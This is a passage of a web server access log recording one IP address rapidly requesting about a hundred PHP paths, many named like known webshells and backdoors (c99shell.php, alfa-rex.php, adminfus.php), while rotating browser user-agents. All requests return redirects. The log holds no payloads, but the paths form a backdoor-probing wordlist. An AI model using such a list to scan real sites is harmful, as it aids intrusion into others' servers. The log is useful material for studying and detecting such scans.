Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:32 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:32 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:33 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:43:33 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:33 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:34 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:43:34 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:34 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:35 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:35 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:35 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:36 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:36 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:37 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:37 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:43:37 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:37 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:43:38 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:38 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:39 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:39 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:39 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:43:40 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:40 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:40 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:43:41 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:43:41 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:43:42 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:42 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:43 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:43 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:43:44 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:44 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:44 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:45 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:45 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:45 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:46 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:46 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:46 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:47 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:43:47 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:47 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:48 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:48 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:48 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:49 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:49 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:49 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:50 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:50 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:51 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:43:51 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:43:51 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:52 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:52 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:52 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:53 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:53 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:53 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:43:54 +0300] "GET /wordpress/wp-admin/includes/wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:54 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:43:54 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:55 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:43:55 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:55 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:56 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:43:56 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:56 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:57 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:43:57 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:57 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:58 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:43:58 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:59 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:59 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:43:59 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:00 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:00 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:00 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:44:01 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:01 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:01 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:44:02 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:44:02 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:44:02 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:03 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:03 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:03 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:04 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:44:04 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:44:04 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:05 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:05 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:06 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:06 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:06 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:44:07 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:07 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:07 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:08 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:08 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:44:08 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:09 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:09 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:44:09 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:10 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:10 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:10 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:44:11 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:11 +0300] "GET /img/prettyPhoto/dark_square/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:44:11 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:12 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 